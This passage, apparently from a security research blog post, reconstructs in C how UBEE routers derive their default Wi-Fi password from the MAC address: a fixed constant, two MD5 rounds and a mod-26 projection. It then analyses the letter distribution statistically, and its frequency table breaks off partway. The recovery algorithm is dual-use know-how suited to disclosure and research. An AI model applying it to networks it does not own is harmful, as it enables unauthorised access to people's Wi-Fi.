&lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%2X%2X%2X%2X%2X%2X555043444541554C5450415353504852415345&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// 2. MD5 hash the string&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;MD5_Init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;MD5_Update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;MD5_Final&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// 3. Take 3B of the result, build a new string&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%.02X%.02X%.02X%.02X%.02X%.02X&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// 4. MD5 hash the string&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;MD5_Init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;MD5_Update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;MD5_Final&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// 5. Projection to 26char alphabet&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;passwd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%c%c%c%c%c%c%c%c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x41u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1Au&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x41u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1Au&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x41u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1Au&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x41u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1Au&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x41u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1Au&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x41u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1Au&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x41u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1Au&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x41u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1Au&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;statistical-analysis&quot;&gt;Statistical analysis&lt;/h2&gt;

&lt;p&gt;The way the projection to 26 character alphabet ( last &lt;code class=&quot;highlighter-rouge&quot;&gt;sprintf&lt;/code&gt; ) is made is interesting, let’s stop here a bit.
The programmer does byte addition here, modulo 26. On the first reading this might seem weird, why didn’t he just do&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;mh&quot;&gt;0x41u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1Au&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// PAlt1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;mh&quot;&gt;0x41u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1Au&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// PAlt2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Technical note: input bytes come from MD5 cryptographic hash function so basically we can assume the distribution
on these MD5 output bytes is uniform assuming the MD5 input is non-random/non-repeating.&lt;/p&gt;

&lt;p&gt;The choice of addition is very clever because the output distribution on the alphabet is almost uniform.
The naive approaches of mentioned projections &lt;code class=&quot;highlighter-rouge&quot;&gt;PAlt1&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;PAlt2&lt;/code&gt; seemingly give non-uniform distribution for
\( \{22, 23, 24, 25 \} \) as \( 255 \; \% \; 26 = 21 \) as the following histograms illustrate:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/distribApBmod26.png&quot;&gt;&lt;img src=&quot;/static/ubee/distribApBmod26.png&quot; alt=&quot;A plus B mod 26&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/distribAxBmod26.png&quot;&gt;&lt;img src=&quot;/static/ubee/distribAxBmod26.png&quot; alt=&quot;A xor B mod 26&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For the sake of this statistical analysis we analyzed \( 2^{24} \) passwords generated by going through all MAC addresses
with 3B static prefix &lt;code class=&quot;highlighter-rouge&quot;&gt;64:7c:34&lt;/code&gt; = UBEE vendor prefix.
The measured distribution of &lt;code class=&quot;highlighter-rouge&quot;&gt;[A-Z]&lt;/code&gt; characters on generated passwords is depicted in the following histogram.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/alphabetDistribution.png&quot;&gt;&lt;img src=&quot;/static/ubee/alphabetDistribution.png&quot; alt=&quot;Alphabet distribution&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a peak around &lt;code class=&quot;highlighter-rouge&quot;&gt;V&lt;/code&gt; very similar to the distribution generated by \( (A + B)\; \% \; 26 \).
In order to check how good the function is (i.e., how random)
 and to verify the hypothesis about the peak we perform a simple statistical test on 
 distribution of the characters over passwords.&lt;/p&gt;

&lt;p&gt;The following table shows the alphabet character counts on computed password sample. Each 
character is counted with respect to particular position of occurrence
in password and in &lt;em&gt;total&lt;/em&gt; (summed over all positions).&lt;/p&gt;

&lt;table class=&quot;mbtablestyle2&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Char&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;1 pos&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;2 pos&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;3 pos&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;4 pos&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;5 pos&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;6 pos&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;7 pos&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;8 pos&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;Total&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;A&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644778&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644428&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646398&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644673&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645774&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645233&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644624&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645889&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5161797&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;B&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645030&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644096&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644019&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644545&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647749&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645814&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645146&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644128&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5160527&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645417&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646058&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645627&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644519&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645682&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645301&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645349&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645314&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5163267&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;D&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643115&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645817&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644916&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644761&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647198&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646917&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644382&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645460&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5162566&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;E&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645279&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645777&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645389&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;642635&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643562&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645356&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645430&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645053&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5158481&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;F&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645155&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644792&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644251&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646556&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645273&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643350&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644826&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644891&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5159094&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;G&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645048&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643635&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644765&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645550&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646089&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645319&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644699&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645304&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5160409&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;H&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647690&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645077&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646506&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645264&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643111&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646623&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644634&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646248&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5165153&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;I&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645447&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643738&lt;/td&gt;
